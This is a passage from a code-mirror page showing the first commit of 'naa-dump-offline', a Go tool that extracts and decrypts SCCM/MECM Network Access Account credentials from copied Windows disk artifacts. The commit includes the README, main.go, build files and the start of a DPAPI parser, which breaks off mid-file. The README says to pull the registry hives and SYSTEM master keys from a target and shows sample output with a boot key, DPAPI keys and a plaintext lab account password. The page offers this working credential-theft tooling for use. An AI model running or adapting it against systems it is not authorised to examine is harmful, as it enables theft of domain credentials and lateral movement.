● Notice //GitHub (@shehzade) is temporarily suspended pending an automated false-positive review. All tools are hosted on this Code Mirror and available on request (contact); GitHub links will return once reinstated.

Offline extractor and decryptor for SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk WMI repositories and DPAPI master keys.

$ git clone https://shehzade.io/repos/naa-dump-offline.git Copy
Source ZIP (290.0 KB) Prebuilt Binaries
Code 15 Commits 3 Releases 5
Initial commit
Abdullah Ansari · 2026-11-06 00:09 · da0de6efb7cf5202a382a16aeb92e0cf3641ddf9
+1867 -0 ← All Commits
.gitignore
......@@ -0,0 +1,17 @@
1+/naa-dump-offline
2+/naa-dump-offline-*
3+/dist/
4+*.exe
5+*.dll
6+*.so
7+*.dylib
8+*.data
9+*.raw
10+*.vmdk
11+*.vhdx
12+*.vss
13+*.zip
14+.idea/
15+.vscode/
16+*.swp
17+.DS_Store
LICENSE
......@@ -0,0 +1,201 @@
1+ Apache License
2+ Version 2.0, January 2004
3+ http://www.apache.org/licenses/
4+
5+ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6+
7+ 1. Definitions.
8+
9+ "License" shall mean the terms and conditions for use, reproduction,
10+ and distribution as defined by Sections 1 through 9 of this document.
11+
12+ "Licensor" shall mean the copyright owner or entity authorized by
13+ the copyright owner that is granting the License.
14+
15+ "Legal Entity" shall mean the union of the acting entity and all
16+ other entities that control, are controlled by, or are under common
17+ control with that entity. For the purposes of this definition,
18+ "control" means (i) the power, direct or indirect, to cause the
19+ direction or management of such entity, whether by contract or
20+ otherwise, or (ii) ownership of fifty percent (50%) or more of the
21+ outstanding shares, or (iii) beneficial ownership of such entity.
22+
23+ "You" (or "Your") shall mean an individual or Legal Entity
24+ exercising permissions granted by this License.
25+
26+ "Source" form shall mean the preferred form for making modifications,
27+ including but not limited to software source code, documentation
28+ source, and configuration files.
29+
30+ "Object" form shall mean any form resulting from mechanical
31+ transformation or translation of a Source form, including but
32+ not limited to compiled object code, generated documentation,
33+ and conversions to other media types.
34+
35+ "Work" shall mean the work of authorship, whether in Source or
36+ Object form, made available under the License, as indicated by a
37+ copyright notice that is included in or attached to the work
38+ (an example is provided in the Appendix below).
39+
40+ "Derivative Works" shall mean any work, whether in Source or Object
41+ form, that is based on (or derived from) the Work and for which the
42+ editorial revisions, annotations, elaborations, or other modifications
43+ represent, as a whole, an original work of authorship. For the purposes
44+ of this License, Derivative Works shall not include works that remain
45+ separable from, or merely link (or bind by name) to the interfaces of,
46+ the Work and Derivative Works thereof.
47+
48+ "Contribution" shall mean any work of authorship, including
49+ the original version of the Work and any modifications or additions
50+ to that Work or Derivative Works thereof, that is intentionally
51+ submitted to Licensor for inclusion in the Work by the copyright owner
52+ or by an individual or Legal Entity authorized to submit on behalf of
53+ the copyright owner. For the purposes of this definition, "submitted"
54+ means any form of electronic, verbal, or written communication sent
55+ to the Licensor or its representatives, including but not limited to
56+ communication on electronic mailing lists, source code control systems,
57+ and issue tracking systems that are managed by, or on behalf of, the
58+ Licensor for the purpose of discussing and improving the Work, but
59+ excluding communication that is conspicuously marked or otherwise
60+ designated in writing by the copyright owner as "Not a Contribution."
61+
62+ "Contributor" shall mean Licensor and any individual or Legal Entity
63+ on behalf of whom a Contribution has been received by Licensor and
64+ subsequently incorporated within the Work.
65+
66+ 2. Grant of Copyright License. Subject to the terms and conditions of
67+ this License, each Contributor hereby grants to You a perpetual,
68+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69+ copyright license to reproduce, prepare Derivative Works of,
70+ publicly display, publicly perform, sublicense, and distribute the
71+ Work and such Derivative Works in Source or Object form.
72+
73+ 3. Grant of Patent License. Subject to the terms and conditions of
74+ this License, each Contributor hereby grants to You a perpetual,
75+ worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76+ (except as stated in this section) patent license to make, have made,
77+ use, offer to sell, sell, import, and otherwise transfer the Work,
78+ where such license applies only to those patent claims licensable
79+ by such Contributor that are necessarily infringed by their
80+ Contribution(s) alone or by combination of their Contribution(s)
81+ with the Work to which such Contribution(s) was submitted. If You
82+ institute patent litigation against any entity (including a
83+ cross-claim or counterclaim in a lawsuit) alleging that the Work
84+ or a Contribution incorporated within the Work constitutes direct
85+ or contributory patent infringement, then any patent licenses
86+ granted to You under this License for that Work shall terminate
87+ as of the date such litigation is filed.
88+
89+ 4. Redistribution. You may reproduce and distribute copies of the
90+ Work or Derivative Works thereof in any medium, with or without
91+ modifications, and in Source or Object form, provided that You
92+ meet the following conditions:
93+
94+ (a) You must give any other recipients of the Work or
95+ Derivative Works a copy of this License; and
96+
97+ (b) You must cause any modified files to carry prominent notices
98+ stating that You changed the files; and
99+
100+ (c) You must retain, in the Source form of any Derivative Works
101+ that You distribute, all copyright, patent, trademark, and
102+ attribution notices from the Source form of the Work,
103+ excluding those notices that do not pertain to any part of
104+ the Derivative Works; and
105+
106+ (d) If the Work includes a "NOTICE" text file as part of its
107+ distribution, then any Derivative Works that You distribute must
108+ include a readable copy of the attribution notices contained
109+ within such NOTICE file, excluding those notices that do not
110+ pertain to any part of the Derivative Works, in at least one
111+ of the following places: within a NOTICE text file distributed
112+ as part of the Derivative Works; within the Source form or
113+ documentation, if provided along with the Derivative Works; or,
114+ within a display generated by the Derivative Works, if and
115+ wherever such third-party notices normally appear. The contents
116+ of the NOTICE file are for informational purposes only and
117+ do not modify the License. You may add Your own attribution
118+ notices within Derivative Works that You distribute, alongside
119+ or as an addendum to the NOTICE text from the Work, provided
120+ that such additional attribution notices cannot be construed
121+ as modifying the License.
122+
123+ You may add Your own copyright statement to Your modifications and
124+ may provide additional or different license terms and conditions
125+ for use, reproduction, or distribution of Your modifications, or
126+ for any such Derivative Works as a whole, provided Your use,
127+ reproduction, and distribution of the Work otherwise complies with
128+ the conditions stated in this License.
129+
130+ 5. Submission of Contributions. Unless You explicitly state otherwise,
131+ any Contribution intentionally submitted for inclusion in the Work
132+ by You to the Licensor shall be under the terms and conditions of
133+ this License, without any additional terms or conditions.
134+ Notwithstanding the above, nothing herein shall supersede or modify
135+ the terms of any separate license agreement you may have executed
136+ with Licensor regarding such Contributions.
137+
138+ 6. Trademarks. This License does not grant permission to use the trade
139+ names, trademarks, service marks, or product names of the Licensor,
140+ except as required for reasonable and customary use in describing the
141+ origin of the Work and reproducing the content of the NOTICE file.
142+
143+ 7. Disclaimer of Warranty. Unless required by applicable law or
144+ agreed to in writing, Licensor provides the Work (and each
145+ Contributor provides its Contributions) on an "AS IS" BASIS,
146+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147+ implied, including, without limitation, any warranties or conditions
148+ of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149+ PARTICULAR PURPOSE. You are solely responsible for determining the
150+ appropriateness of using or redistributing the Work and assume any
151+ risks associated with Your exercise of permissions under this License.
152+
153+ 8. Limitation of Liability. In no event and under no legal theory,
154+ whether in tort (including negligence), contract, or otherwise,
155+ unless required by applicable law (such as deliberate and grossly
156+ negligent acts) or agreed to in writing, shall any Contributor be
157+ liable to You for damages, including any direct, indirect, special,
158+ incidental, or exemplary damages of any character arising as a
159+ result of this License or out of the use or inability to use the
160+ Work (including but not limited to damages for loss of goodwill,
161+ work stoppage, computer failure or malfunction, or any and all
162+ other commercial damages or losses), even if such Contributor
163+ has been advised of the possibility of such damages.
164+
165+ 9. Accepting Warranty or Additional Liability. While redistributing
166+ the Work or Derivative Works thereof, You may choose to offer,
167+ and charge a fee for, acceptance of support, warranty, indemnity,
168+ or other liability obligations and/or rights consistent with this
169+ License. However, in accepting such obligations, You may act only
170+ on Your own behalf and on Your sole responsibility, not on behalf
171+ of any other Contributor, and only if You agree to indemnify,
172+ defend, and hold each Contributor harmless for any liability
173+ incurred by, or claims asserted against, such Contributor by reason
174+ of your accepting any such warranty or additional liability.
175+
176+ END OF TERMS AND CONDITIONS
177+
178+ APPENDIX: How to apply the Apache License to your work.
179+
180+ To apply the Apache License to your work, attach the following
181+ boilerplate notice, with the fields enclosed by brackets "[]"
182+ replaced with your own identifying information. (Don't include
183+ the brackets!) The text should be enclosed in the appropriate
184+ comment syntax for the file format. We also recommend that a
185+ file or class name and description of purpose be included on the
186+ same "printed page" as the copyright notice for easier
187+ identification within third-party archives.
188+
189+ Copyright 2026 Abdullah Ansari
190+
191+ Licensed under the Apache License, Version 2.0 (the "License");
192+ you may not use this file except in compliance with the License.
193+ You may obtain a copy of the License at
194+
195+ http://www.apache.org/licenses/LICENSE-2.0
196+
197+ Unless required by applicable law or agreed to in writing, software
198+ distributed under the License is distributed on an "AS IS" BASIS,
199+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200+ See the License for the specific language governing permissions and
201+ limitations under the License.
Makefile
......@@ -0,0 +1,19 @@
1+BINARY_NAME=naa-dump-offline
2+SRC=cmd/naa-dump-offline/main.go
3+
4+.PHONY: all build build-all clean
5+
6+all: build
7+
8+build:
9+ go build -ldflags="-s -w" -o $(BINARY_NAME) $(SRC)
10+
11+build-all:
12+ GOOS=linux GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME)-linux-amd64 $(SRC)
13+ GOOS=linux GOARCH=arm64 go build -ldflags="-s -w" -o $(BINARY_NAME)-linux-arm64 $(SRC)
14+ GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME).exe $(SRC)
15+ GOOS=darwin GOARCH=amd64 go build -ldflags="-s -w" -o $(BINARY_NAME)-darwin-amd64 $(SRC)
16+ GOOS=darwin GOARCH=arm64 go build -ldflags="-s -w" -o $(BINARY_NAME)-darwin-arm64 $(SRC)
17+
18+clean:
19+ rm -f $(BINARY_NAME) $(BINARY_NAME).exe $(BINARY_NAME)-*
README.md
......@@ -0,0 +1,131 @@
1+# naa-dump-offline
2+
3+Offline tool to carve and decrypt SCCM/MECM Network Access Account (NAA) credentials and policy secrets from dead-disk artifacts (`OBJECTS.DATA`, registry hives, and DPAPI master keys).
4+
5+## Table of Contents
6+
7+- [Why / The Gap This Fills](#why--the-gap-this-fills)
8+- [How It Works](#how-it-works)
9+- [Required Files](#required-files)
10+- [Build](#build)
11+- [Usage](#usage)
12+ - [Find the required MasterKey GUID](#find-the-required-masterkey-guid)
13+ - [Decrypt with registry hives and MasterKey file](#decrypt-with-registry-hives-and-masterkey-file)
14+ - [Decrypt with a pre-decrypted MasterKey](#decrypt-with-a-pre-decrypted-masterkey)
15+- [License](#license)
16+
17+## Why / The Gap This Fills
18+
19+Techniques documented under [CRED-4](https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-4/cred-4_description.md) in Misconfiguration Manager cover extracting NAA credentials from client disk storage. Existing tooling like SharpSCCM (`local secrets -m disk`) accomplishes this on live Windows targets by invoking Win32/WMI APIs and modifying registry ACLs on `HKLM\SECURITY\Policy\Secrets\DPAPI_SYSTEM\CurrVal` and `HKLM\SECURITY\Policy\PolEKList` to access machine keys. That workflow requires on-host code execution and generates observable telemetry.
20+
21+Doing this offline previously meant chaining multiple scripts across Python, PowerShell, and C# to dump hives, extract LSA secrets, decrypt DPAPI master keys, and carve WMI records out of CIM repository files. Cross-platform support was also limited for teams triaging disk images or volume shadow copies on Linux or macOS.
22+
23+`naa-dump-offline` consolidates the full extraction chain into a single compiled Go binary with no external runtime dependencies. It parses the raw file structures directly (registry hives, DPAPI MasterKey files, and WMI B-Tree records) to carve and decrypt NAA credentials completely offline without running code on the target host.
24+
25+## How It Works
26+
27+When an SCCM client receives policy containing Network Access Account credentials or task sequence secrets, the values are DPAPI-encrypted under the `NT AUTHORITY\SYSTEM` context and stored in the WMI repository (`C:\Windows\System32\wbem\Repository\OBJECTS.DATA`).
28+
29+Instead of querying WMI on a live host, `naa-dump-offline` parses the raw files offline:
30+1. Scans `OBJECTS.DATA` for encrypted SCCM policy DPAPI blobs and identifies which SYSTEM MasterKey GUID is needed.
31+2. Extracts the BootKey from the `SYSTEM` hive and decrypts the `DPAPI_SYSTEM` LSA secret from the `SECURITY` hive.
32+3. Uses the `DPAPI_SYSTEM` user/machine keys to decrypt the target SYSTEM MasterKey file.
33+4. Decrypts the carved WMI blobs, decompresses any zlib-packed `PolicyXML` streams, and extracts plaintext credentials.
34+
35+## Required Files
36+
37+| File | Default Path |
38+|---|---|
39+| `OBJECTS.DATA` | `C:\Windows\System32\wbem\Repository\OBJECTS.DATA` |
40+| `SYSTEM` | `C:\Windows\System32\config\SYSTEM` |
41+| `SECURITY` | `C:\Windows\System32\config\SECURITY` |
42+| `<GUID>` | `C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\<GUID>` |
43+
44+## Build
45+
46+Requires Go 1.21+.
47+
48+```bash
49+make build
50+```
51+
52+Cross-compile for Linux, Windows, and macOS:
53+
54+```bash
55+make build-all
56+```
57+
58+## Usage
59+
60+```text
61+Usage: naa-dump-offline -o OBJECTS.DATA [options]
62+
63+Options:
64+ -o, -objects string
65+ Path to OBJECTS.DATA file
66+ -sys, -system string
67+ Path to SYSTEM registry hive
68+ -sec, -security string
69+ Path to SECURITY registry hive
70+ -m, -master-key string
71+ Path to MasterKey file
72+ -k string
73+ Decrypted MasterKey in hex (optional)
74+ -json
75+ Output results in JSON format
76+ -v Verbose output (show decrypted policy secrets)
77+```
78+
79+### Find the required MasterKey GUID
80+
81+Pull `OBJECTS.DATA` first and run without registry keys to see which MasterKey file you need to grab from the target:
82+
83+```bash
84+./naa-dump-offline -o OBJECTS.DATA
85+```
86+
87+```text
88+[*] Scanning OBJECTS.DATA for encrypted policy blobs...
89+[+] Found 19 encrypted blobs (6 unique)
90+ - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)
91+
92+[*] Required MasterKey file:
93+ %SystemRoot%\System32\Microsoft\Protect\S-1-5-18\User\f5145914-dec0-40ee-a2d2-a40376c4b3e6
94+```
95+
96+### Decrypt with registry hives and MasterKey file
97+
98+Once you pull `SYSTEM`, `SECURITY`, and the target MasterKey file:
99+
100+```bash
101+./naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m f5145914-dec0-40ee-a2d2-a40376c4b3e6
102+```
103+
104+```text
105+[*] Scanning OBJECTS.DATA for encrypted policy blobs...
106+[+] Found 19 encrypted blobs (6 unique)
107+ - MasterKey GUID: f5145914-dec0-40ee-a2d2-a40376c4b3e6 (19 blobs)
108+[*] Parsing SYSTEM hive: SYSTEM
109+[+] BootKey: 0xfb354c003764f5e1ea29204b5f162a9d
110+[*] Parsing SECURITY hive: SECURITY
111+[+] DPAPI UserKey: 0xd6b33ef5cfe833c357590f5d48f5a87db0adcccf
112+[+] DPAPI MachineKey: 0x27c72e12f2827ac91ef78520240249fa914f1f62
113+[*] Decrypting MasterKey from f5145914-dec0-40ee-a2d2-a40376c4b3e6
114+[+] MasterKey (f5145914-dec0-40ee-a2d2-a40376c4b3e6): 0x77e2f2fea604d8ce4620cd6cbf5aa706...
115+[*] Decrypting 6 policy blobs...
116+
117+[+] Extracted credentials:
118+ sccm.lab\sccm-naa:123456789
119+```
120+
121+### Decrypt with a pre-decrypted MasterKey
122+
123+If you already have the 64-byte MasterKey in hex:
124+
125+```bash
126+./naa-dump-offline -o OBJECTS.DATA -k 77e2f2fea604d8ce4620cd6cbf5aa7063542e4ad31d064a3c6b8dbd25bed5d01...
127+```
128+
129+## License
130+
131+Apache License 2.0
cmd/naa-dump-offline/main.go
......@@ -0,0 +1,349 @@
1+package main
2+
3+import (
4+ "encoding/hex"
5+ "encoding/json"
6+ "flag"
7+ "fmt"
8+ "os"
9+ "strings"
10+
11+ "github.com/shehzade/naa-dump-offline/pkg/dpapi"
12+ "github.com/shehzade/naa-dump-offline/pkg/registry"
13+ "github.com/shehzade/naa-dump-offline/pkg/wmi"
14+)
15+
16+const banner = `
17+ __
18+ ____ ____ _____ _ ____/ /_ ______ ___ ____
19+ / __ \/ __ '/ __ '/_____/ __ / / / / __ '__ \/ __ \
20+ / / / / /_/ / /_/ /_____/ /_/ / /_/ / / / / / / /_/ /
21+/_/ /_/\__,_/\__,_/ \__,_/\__,_/_/ /_/ /_/ .___/
22+ /_/
23+`
24+
25+type JSONOutput struct {
26+ ObjectsFile string `json:"objects_file,omitempty"`
27+ TotalBlobs int `json:"total_blobs"`
28+ UniqueBlobs int `json:"unique_blobs"`
29+ RequiredMasterKeys []string `json:"required_masterkeys,omitempty"`
30+ BootKey string `json:"bootkey,omitempty"`
31+ DPAPIUserKey string `json:"dpapi_userkey,omitempty"`
32+ DPAPIMachineKey string `json:"dpapi_machinekey,omitempty"`
33+ DecryptedMasterKey string `json:"decrypted_masterkey,omitempty"`
34+ MasterKeySource string `json:"masterkey_source,omitempty"`
35+ Credentials []wmi.NAACredential `json:"credentials"`
36+ Secrets []*wmi.CarvedSecret `json:"secrets,omitempty"`
37+}
38+
39+func main() {
40+ var (
41+ objectsPath = flag.String("o", "", "Path to OBJECTS.DATA file")
42+ objectsLong = flag.String("objects", "", "Path to OBJECTS.DATA file")
43+ sysPath = flag.String("sys", "", "Path to SYSTEM registry hive")
44+ sysLong = flag.String("system", "", "Path to SYSTEM registry hive")
45+ secPath = flag.String("sec", "", "Path to SECURITY registry hive")
46+ secLong = flag.String("security", "", "Path to SECURITY registry hive")
47+ mkPath = flag.String("m", "", "Path to MasterKey file")
48+ mkLong = flag.String("master-key", "", "Path to MasterKey file")
49+ keyHex = flag.String("k", "", "Decrypted MasterKey in hex (optional)")
50+ jsonMode = flag.Bool("json", false, "Output results in JSON format")
51+ verbose = flag.Bool("v", false, "Verbose output (show decrypted policy secrets)")
52+ )
53+
54+ flag.Usage = func() {
55+ fmt.Fprintf(os.Stderr, "%s\n", banner)
56+ fmt.Fprintf(os.Stderr, "Usage: naa-dump-offline -o OBJECTS.DATA [options]\n\n")
57+ fmt.Fprintf(os.Stderr, "Options:\n")
58+ flag.PrintDefaults()
59+ fmt.Fprintf(os.Stderr, "\nExamples:\n")
60+ fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA\n")
61+ fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA -sys SYSTEM -sec SECURITY -m <masterkey-file>\n")
62+ fmt.Fprintf(os.Stderr, " naa-dump-offline -o OBJECTS.DATA -k <masterkey-hex>\n")
63+ }
64+
65+ flag.Parse()
66+
67+ objects := *objectsPath
68+ if objects == "" {
69+ objects = *objectsLong
70+ }
71+ system := *sysPath
72+ if system == "" {
73+ system = *sysLong
74+ }
75+ security := *secPath
76+ if security == "" {
77+ security = *secLong
78+ }
79+ masterKey := *mkPath
80+ if masterKey == "" {
81+ masterKey = *mkLong
82+ }
83+
84+ if objects == "" {
85+ if *jsonMode {
86+ logError(true, "-o (path to OBJECTS.DATA) is required")
87+ } else {
88+ fmt.Fprintf(os.Stderr, "[!] Error: -o (path to OBJECTS.DATA) is required.\n\n")
89+ flag.Usage()
90+ }
91+ os.Exit(1)
92+ }
93+
94+ if (system != "" && security == "") || (system == "" && security != "") {
95+ logError(*jsonMode, "Both -sys and -sec must be provided together.")
96+ os.Exit(1)
97+ }
98+
99+ if masterKey != "" && (system == "" || security == "") && *keyHex == "" {
100+ logError(*jsonMode, "Both -sys and -sec are required when using -m.")
101+ os.Exit(1)
102+ }
103+
104+ out := JSONOutput{
105+ ObjectsFile: objects,
106+ Credentials: []wmi.NAACredential{},
107+ }
108+
109+ if !*jsonMode {
110+ fmt.Print(banner)
111+ }
112+
113+ var carverRes *wmi.CarverResult
114+ if objects != "" {
115+ if !*jsonMode {
116+ fmt.Printf("[*] Scanning %s for encrypted policy blobs...\n", objects)
117+ }
118+ var err error
119+ carverRes, err = wmi.ScanObjectsData(objects)
120+ if err != nil {
121+ logError(*jsonMode, "Failed to scan OBJECTS.DATA: %v", err)
122+ os.Exit(1)
123+ }
124+ out.TotalBlobs = carverRes.TotalBlobs
125+ out.UniqueBlobs = len(carverRes.UniqueBlobs)
126+ out.RequiredMasterKeys = carverRes.RequiredGUIDs
127+
128+ if !*jsonMode {
129+ fmt.Printf("[+] Found %d encrypted blobs (%d unique)\n",
130+ carverRes.TotalBlobs, len(carverRes.UniqueBlobs))
131+ for _, guid := range carverRes.RequiredGUIDs {
132+ count := carverRes.GUIDCounts[guid]
133+ fmt.Printf(" - MasterKey GUID: %s (%d blobs)\n", guid, count)
134+ }
135+ }
136+
137+ if len(carverRes.UniqueBlobs) == 0 {
138+ if *jsonMode {
139+ printJSON(out)
140+ } else {
141+ fmt.Println("[-] No encrypted policy blobs found.")
142+ }
143+ return
144+ }
145+ }
146+
147+ if system == "" && security == "" && *keyHex == "" {
148+ if !*jsonMode {
149+ fmt.Println("\n[*] Required MasterKey file:")
150+ for _, guid := range carverRes.RequiredGUIDs {
151+ fmt.Printf(" %%SystemRoot%%\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\%s\n", guid)
152+ }
153+ } else {
154+ printJSON(out)
155+ }
156+ return
157+ }
158+
159+ var systemKeys *registry.DPAPISystemKeys
160+ if system != "" && security != "" {
161+ if !*jsonMode {
162+ fmt.Printf("[*] Parsing SYSTEM hive: %s\n", system)
163+ }
164+ bootKey, err := registry.GetBootKey(system)
165+ if err != nil {
166+ logError(*jsonMode, "Failed to parse BootKey: %v", err)
167+ os.Exit(1)
168+ }
169+ out.BootKey = fmt.Sprintf("0x%x", bootKey)
170+ if !*jsonMode {
171+ fmt.Printf("[+] BootKey: 0x%x\n", bootKey)
172+ fmt.Printf("[*] Parsing SECURITY hive: %s\n", security)
173+ }
174+
175+ systemKeys, err = registry.ExtractDPAPISystemKeys(security, bootKey)
176+ if err != nil {
177+ logError(*jsonMode, "Failed to extract DPAPI_SYSTEM keys: %v", err)
178+ os.Exit(1)
179+ }
180+
181+ out.DPAPIUserKey = fmt.Sprintf("0x%x", systemKeys.UserKey)
182+ out.DPAPIMachineKey = fmt.Sprintf("0x%x", systemKeys.MachineKey)
183+ if !*jsonMode {
184+ fmt.Printf("[+] DPAPI UserKey: 0x%x\n", systemKeys.UserKey)
185+ fmt.Printf("[+] DPAPI MachineKey: 0x%x\n", systemKeys.MachineKey)
186+ }
187+ }
188+
189+ if masterKey == "" && *keyHex == "" {
190+ if !*jsonMode {
191+ fmt.Println("\n[*] Required MasterKey file:")
192+ for _, guid := range carverRes.RequiredGUIDs {
193+ fmt.Printf(" %%SystemRoot%%\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\%s\n", guid)
194+ }
195+ } else {
196+ printJSON(out)
197+ }
198+ return
199+ }
200+
201+ masterKeysMap := make(map[string][]byte)
202+
203+ if *keyHex != "" {
204+ rawHex := strings.TrimPrefix(strings.TrimSpace(*keyHex), "0x")
205+ rawKey, err := hex.DecodeString(rawHex)
206+ if err != nil || len(rawKey) != 64 {
207+ logError(*jsonMode, "Invalid -k MasterKey hex: expected 64 bytes (128 hex characters)")
208+ os.Exit(1)
209+ }
210+ out.DecryptedMasterKey = fmt.Sprintf("0x%x", rawKey)
211+ out.MasterKeySource = "User provided (-k)"
212+ for _, guid := range carverRes.RequiredGUIDs {
213+ masterKeysMap[guid] = rawKey
214+ }
215+ if !*jsonMode {
216+ fmt.Printf("[+] Using supplied MasterKey: 0x%x\n", rawKey)
217+ }
218+ } else if masterKey != "" {
219+ if !*jsonMode {
220+ fmt.Printf("[*] Decrypting MasterKey from %s\n", masterKey)
221+ }
222+
223+ for _, targetGUID := range carverRes.RequiredGUIDs {
224+ decKey, source, err := dpapi.LoadAndDecryptMasterKey(masterKey, targetGUID, systemKeys)
225+ if err != nil {
226+ if !*jsonMode {
227+ fmt.Printf("[-] Could not decrypt MasterKey (%s): %v\n", targetGUID, err)
228+ }
229+ continue
230+ }
231+ masterKeysMap[targetGUID] = decKey
232+ out.DecryptedMasterKey = fmt.Sprintf("0x%x", decKey)
233+ out.MasterKeySource = source
234+ if !*jsonMode {
235+ fmt.Printf("[+] MasterKey (%s): 0x%x\n", targetGUID, decKey)
236+ }
237+ }
238+ }
239+
240+ if len(masterKeysMap) == 0 {
241+ logError(*jsonMode, "No valid MasterKey could be decrypted.")
242+ os.Exit(1)
243+ }
244+
245+ if !*jsonMode {
246+ fmt.Printf("[*] Decrypting %d policy blobs...\n", len(carverRes.UniqueBlobs))
247+ }
248+
249+ for _, secret := range carverRes.UniqueBlobs {
250+ rawBytes, err := hex.DecodeString(secret.RawHex)
251+ if err != nil {
252+ continue
253+ }
254+ blobBytes := rawBytes
255+ if len(rawBytes) > 4 {
256+ blobBytes = rawBytes[4:]
257+ }
258+
259+ blob, err := dpapi.ParseDPAPIBlob(blobBytes)
260+ if err != nil {
261+ blob, err = dpapi.ParseDPAPIBlob(rawBytes)
262+ if err != nil {
263+ continue
264+ }
265+ }
266+
267+ decMK, ok := masterKeysMap[blob.GuidMasterKey]
268+ if !ok {
269+ for _, k := range masterKeysMap {
270+ decMK = k
271+ break
272+ }
273+ }
274+
275+ decrypted, err := blob.Decrypt(decMK)
276+ if err != nil {
277+ continue
278+ }
279+
280+ secret.DecryptedBytes = decrypted
281+ text, isEmpty := wmi.ParseDecryptedPayload(decrypted)
282+ secret.DecryptedText = text
283+ secret.IsEmpty = isEmpty
284+ }
285+
286+ creds := wmi.ExtractCredentialsFromSecrets(carverRes.UniqueBlobs)
287+ out.Credentials = creds
288+ if *verbose {
289+ out.Secrets = carverRes.UniqueBlobs
290+ }
291+
292+ if *jsonMode {
293+ printJSON(out)
294+ return
295+ }
296+
297+ if len(creds) == 0 {
298+ hasRemoved := false
299+ for _, s := range carverRes.UniqueBlobs {
300+ if s.IsEmpty {
301+ hasRemoved = true
302+ break
303+ }
304+ }
305+ if hasRemoved {
306+ fmt.Println("[-] Found NAA policy entries, but credentials were cleared/empty in site configuration")
307+ } else {
308+ fmt.Println("[-] No NAA credentials found in decrypted policy blobs")
309+ }
310+ } else {
311+ fmt.Println("\n[+] Extracted credentials:")
312+ for _, c := range creds {
313+ fmt.Printf(" %s:%s\n", c.Username, c.Password)
314+ }
315+ }
316+
317+ if *verbose {
318+ fmt.Println("\n[*] Verbose payload dump:")
319+ for _, s := range carverRes.UniqueBlobs {
320+ fmt.Printf("\n--- Secret #%d (Offset: 0x%x, MasterKey: %s, Context: %s) ---\n",
321+ s.Index, s.Offset, s.MasterKeyGUID, s.Context)
322+ if s.IsEmpty {
323+ fmt.Println("[EMPTY]")
324+ } else {
325+ fmt.Println(s.DecryptedText)
326+ }
327+ }
328+ }
329+}
330+
331+func logError(jsonMode bool, format string, a ...interface{}) {
332+ msg := fmt.Sprintf(format, a...)
333+ if jsonMode {
334+ errObj := map[string]string{"error": msg}
335+ b, _ := json.Marshal(errObj)
336+ fmt.Println(string(b))
337+ } else {
338+ fmt.Fprintf(os.Stderr, "[!] Error: %s\n", msg)
339+ }
340+}
341+
342+func printJSON(v interface{}) {
343+ b, err := json.MarshalIndent(v, "", " ")
344+ if err != nil {
345+ fmt.Fprintf(os.Stderr, `{"error":"json marshal error"}`)
346+ return
347+ }
348+ fmt.Println(string(b))
349+}
go.mod
......@@ -0,0 +1,7 @@
1+module github.com/shehzade/naa-dump-offline
2+
3+go 1.26.2
4+
5+require www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7
6+
7+require github.com/davecgh/go-spew v1.1.1 // indirect
go.sum
......@@ -0,0 +1,4 @@
1+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
2+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
3+www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7 h1:BMX/37sYwX+8JhHt+YNbPfbx7dXG1w1L1mXonNBtjt0=
4+www.velocidex.com/golang/regparser v0.0.0-20250203141505-31e704a67ef7/go.mod h1:pxSECT5mWM3goJ4sxB4HCJNKnKqiAlpyT8XnvBwkLGU=
pkg/dpapi/blob.go
......@@ -0,0 +1,239 @@
1+package dpapi
2+
3+import (
4+ "crypto/aes"
5+ "crypto/cipher"
6+ "crypto/des"
7+ "crypto/hmac"
8+ "crypto/sha1"
9+ "crypto/sha512"
10+ "encoding/binary"
11+ "fmt"
12+ "hash"
13+)
14+
15+type DPAPIBlob struct {
16+ Version uint32
17+ GuidCredential string
18+ MasterKeyVersion uint32
19+ GuidMasterKey string
20+ Flags uint32
21+ Description string
22+ CryptAlgo uint32
23+ CryptAlgoLen uint32
24+ Salt []byte
25+ HMacKey []byte
26+ HashAlgo uint32
27+ HashAlgoLen uint32
28+ HMac []byte
29+ Data []byte
30+ Sign []byte
31+ RawData []byte
32+}
33+
34+func ParseDPAPIBlob(raw []byte) (*DPAPIBlob, error) {
35+ if len(raw) < 44 {
36+ return nil, fmt.Errorf("DPAPI blob too short (%d bytes)", len(raw))
37+ }
38+
39+ blob := &DPAPIBlob{
40+ RawData: raw,
41+ Version: binary.LittleEndian.Uint32(raw[0:4]),
42+ GuidCredential: FormatGUID(raw[4:20]),
43+ MasterKeyVersion: binary.LittleEndian.Uint32(raw[20:24]),
44+ GuidMasterKey: FormatGUID(raw[24:40]),
45+ Flags: binary.LittleEndian.Uint32(raw[40:44]),
46+ }
47+
48+ offset := 44
49+ if offset+4 > len(raw) {
50+ return nil, fmt.Errorf("invalid blob at description len")
51+ }
52+ descLen := binary.LittleEndian.Uint32(raw[offset : offset+4])
53+ offset += 4
54+ if offset+int(descLen) > len(raw) {
55+ return nil, fmt.Errorf("invalid blob description length")
56+ }
57+ blob.Description = DecodeUTF16LE(raw[offset : offset+int(descLen)])
58+ offset += int(descLen)
59+
60+ if offset+8 > len(raw) {
